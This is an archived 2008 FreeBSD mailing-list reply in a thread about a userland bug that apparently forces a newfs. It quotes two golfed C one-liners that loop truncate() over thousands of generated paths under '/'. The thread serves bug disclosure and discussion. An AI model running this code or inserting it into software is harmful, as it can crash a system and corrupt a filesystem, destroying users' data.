From owner-freebsd-stable@FreeBSD.ORG Mon Feb 18 15:08:29 2008 Return-Path: Delivered-To: freebsd-stable@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9FAFF16A473; Mon, 18 Feb 2008 15:08:29 +0000 (UTC) (envelope-from filter@mail.radiokom.kr.ua) Received: from mail.radiokom.kr.ua (smtp.radiokom.kr.ua [193.17.174.11]) by mx1.freebsd.org (Postfix) with ESMTP id 18E5613C467; Mon, 18 Feb 2008 15:08:29 +0000 (UTC) (envelope-from filter@mail.radiokom.kr.ua) Received: by mail.radiokom.kr.ua (Postfix, from userid 1003) id 3A8D41D151; Mon, 18 Feb 2008 17:08:28 +0200 (EET) X-Spam-Checker-Version: SpamAssassin 3.1.8 (2007-02-13) on shayba.homenet.kr.ua X-Spam-Level: X-Spam-Status: No, score=0.2 required=6.0 tests=MR_NOT_ATTRIBUTED_IP autolearn=disabled version=3.1.8 Received: from mx2.freebsd.org (mx2.freebsd.org [69.147.83.53]) by mail.radiokom.kr.ua (Postfix) with ESMTP id E35731D09A for ; Mon, 18 Feb 2008 17:08:23 +0200 (EET) Received: from hub.freebsd.org (hub.freebsd.org [IPv6:2001:4f8:fff6::36]) by mx2.freebsd.org (Postfix) with ESMTP id 322F36082E; Mon, 18 Feb 2008 15:06:59 +0000 (UTC) (envelope-from owner-freebsd-security@freebsd.org) Received: from hub.freebsd.org (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 1F6DB16A4E9; Mon, 18 Feb 2008 15:06:59 +0000 (UTC) (envelope-from owner-freebsd-security@freebsd.org) Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 54DAA16A41A; Mon, 18 Feb 2008 14:32:14 +0000 (UTC) (envelope-from scottl@samsco.org) Received: from pooker.samsco.org (pooker.samsco.org [168.103.85.57]) by mx1.freebsd.org (Postfix) with ESMTP id 0407C13C4F7; Mon, 18 Feb 2008 14:32:13 +0000 (UTC) (envelope-from scottl@samsco.org) Received: from scoo-longs-computer.local (74-92-209-69-Colorado.hfc.comcastbusiness.net [74.92.209.69] (may be forged)) (authenticated bits=0) by pooker.samsco.org (8.13.8/8.13.8) with ESMTP id m1IE9FaX012939; Mon, 18 Feb 2008 07:09:21 -0700 (MST) (envelope-from scottl@samsco.org) Message-ID: <47B9918B.6010301@samsco.org> Date: Mon, 18 Feb 2008 07:09:15 -0700 From: Scott Long User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071128 SeaMonkey/1.1.7 MIME-Version: 1.0 To: =?ISO-8859-1?Q?Dag-Erling_Sm=F8rgrav?= References: <47B90868.7000900@electron-tube.net> <86odae5rgr.fsf@ds4.des.no> <863arq5q14.fsf@ds4.des.no> In-Reply-To: <863arq5q14.fsf@ds4.des.no> X-Enigmail-Version: 0.95.6 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Mailman-Approved-At: Mon, 18 Feb 2008 15:06:52 +0000 X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Sender: owner-freebsd-security@freebsd.org Errors-To: owner-freebsd-security@freebsd.org Cc: freebsd-fs@freebsd.org, freebsd-security@freebsd.org, Jim Bryant , freebsd-stable@freebsd.org, FreeBSD-bugs@freebsd.org Subject: Re: How to take down a system to the point of requiring a newfs with one line of C (userland) X-BeenThere: freebsd-stable@freebsd.org List-Id: Production branch of FreeBSD source code List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 18 Feb 2008 15:08:29 -0000 Dag-Erling Smørgrav wrote: > Dag-Erling Smørgrav writes: >> Purely in the interest of showing off, here is my version. It is 81 >> bytes shorter than yours, it is valid C99 with POSIX extensions (yours >> is not), and it produces 11,450 files in about 0.2% of the time yours >> takes to produce 10,000. >> >> #include >> #define b(i,v) for(int v=48;v<127;++v){f[i]=v; >> #define a(i) b(i,v##i) >> int main(void){char f[5]={'/'};a(1)a(2)a(3)truncate(f,0);}}}} > > Two bugs: > > 1) I forgot to include the correct version of the code > > 2) the version I had created a few files with '/' in their names; this > slightly nastier creates 10,648 files with only letters. > > #include > #define b(i,v)for(int v=65;v<87;){i[f]=v++; > #define a(i)b(i,v##i) > int main(void){char f[4]={47};a(1)a(2)a(3)truncate(f,0);}}}} > > DES This version also omits the constructive comments on the actual problem that the original poster identified. Scott _______________________________________________ freebsd-security@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-security To unsubscribe, send any mail to "freebsd-security-unsubscribe@freebsd.org"